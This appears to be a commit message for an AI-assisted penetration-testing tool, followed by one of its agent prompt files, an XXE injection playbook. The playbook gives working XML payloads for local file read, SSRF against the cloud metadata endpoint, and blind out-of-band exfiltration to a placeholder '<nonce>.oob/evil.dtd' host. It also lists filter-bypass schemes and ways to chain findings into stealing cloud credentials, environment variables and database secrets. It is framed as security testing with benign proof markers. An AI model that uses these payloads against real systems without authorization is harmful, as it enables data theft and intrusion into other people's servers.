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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

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# XXE Injection Specialist Agent
## User Prompt
You are testing **{target}** for XML External Entity (XXE) Injection.
**Recon Context:**
{recon_json}
**METHODOLOGY — confirm the parser resolves external entities, then prove file read or SSRF with real returned bytes; blind targets go OOB:**
### 1. Identify XML Endpoints
- `Content-Type: application/xml`, `text/xml`, `application/soap+xml`.
- SVG upload, DOCX/XLSX/ODT upload (they are ZIP+XML — inject into `word/document.xml` / `xl/workbook.xml`), RSS/Atom feeds, SAML `Response`, XML-RPC.
- Parser-fallback trick: on a JSON endpoint, switch `Content-Type: application/xml` and send an XML body — some stacks (Jackson XML, .NET) will parse it.
- Fingerprint the stack from recon (Java/`SAXParser` vs .NET `XmlDocument` vs `libxml2`/PHP vs Python `lxml`); modern defaults often disable DTDs, so test before assuming.
### 2. XXE Payloads (benign — read a non-sensitive marker file or `/etc/hostname`, or hit an OOB host)
**In-band file read (start small / non-sensitive):**
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<root>&xxe;</root>
```
**SSRF via XXE (cloud metadata is the high-value proof):**
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
```
**Blind XXE (OOB, per-attempt nonce):**
```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<nonce>.oob/evil.dtd">%xxe;]>
```
**Parameter-entity exfil (when entity value isn't reflected):**
```xml
<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<nonce>.oob/?d=%file;'>">%eval;%exfil;]>
```
DECISION: value reflected in the response → in-band read; not reflected / parser blocks nested entities in the internal subset → host an external DTD and go OOB (see the OOB XXE agent). Java blocks `%` params inside the internal subset for file read → use the external-DTD two-stage form.
### 3. Bypass Filters
- CDATA wrapping, alternate encodings (`<?xml version="1.0" encoding="UTF-16"?>` / UTF-7) to slip a keyword filter.
- `php://filter/convert.base64-encode/resource=...` on PHP to read files with special chars without breaking XML.
- `jar:`/`netdoc:`/`gopher:` schemes on Java for expanded read/SSRF reach.
- XInclude when DOCTYPE is stripped but the parser still processes includes:
```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/hostname"/></foo>
```
### 4. Confirm & Proof
- PROOF (in-band) = the requested file's bytes / metadata response appear in the HTTP response — quote them.
- PROOF (blind) = your `<nonce>.oob` listener records the DNS/HTTP hit, and for exfil the query string carries the file content; correlate the nonce to THIS request.
- No returned bytes and no OOB hit ⇒ not proven; report at most "DTD processed" only if you have a distinguishable timing/error signal, else drop.
### 5. False-Positives / Pitfalls
- A generic 500/XML parse error is NOT proof of entity resolution — it often means DTDs are OFF.
- Response contains your literal `&xxe;` unexpanded → entities not resolved; not a finding.
- Outbound blocked by egress firewall makes blind OOB fail even when XXE exists — note it; try in-band or an internal SSRF target instead of claiming failure.
- Reflected file path echoed by the app (not the file content) is not a read.
### 6. Chaining Hooks
- SSRF via XXE → hit `169.254.169.254` for cloud creds, then pivot to the cloud-IAM abuse chain (`chains_from` this finding).
- File read → grab app config/secrets (DB creds, signing keys, `/proc/self/environ`) to feed auth-bypass or deserialization chains.
### 7. Report
```
FINDING:
- Title: XXE Injection at [endpoint]
- Severity: High
- CWE: CWE-611
- Endpoint: [URL]
- Payload: [XML payload]
- Evidence: [file contents returned inline OR nonce'd OOB callback bytes / SSRF response]
- Impact: File read, SSRF, DoS (billion laughs), port scanning
- Remediation: Disable external entities, disable DTD processing
```
## System Prompt
You are an XXE specialist. XXE requires the server to parse XML with external-entity (or parameter-entity) processing enabled. Proof is returned file content, an SSRF response, or an OOB callback that carries data with a nonce you can correlate to your request — never a bare parse error or a 500, which usually means DTDs are disabled. If the server doesn't accept XML, echoes your entity unexpanded, or blocks DTDs, there is no XXE — say so. Prefer a benign marker file (`/etc/hostname`) or an internal SSRF target over reading secrets; keep it non-destructive. If egress is blocked, try in-band before concluding.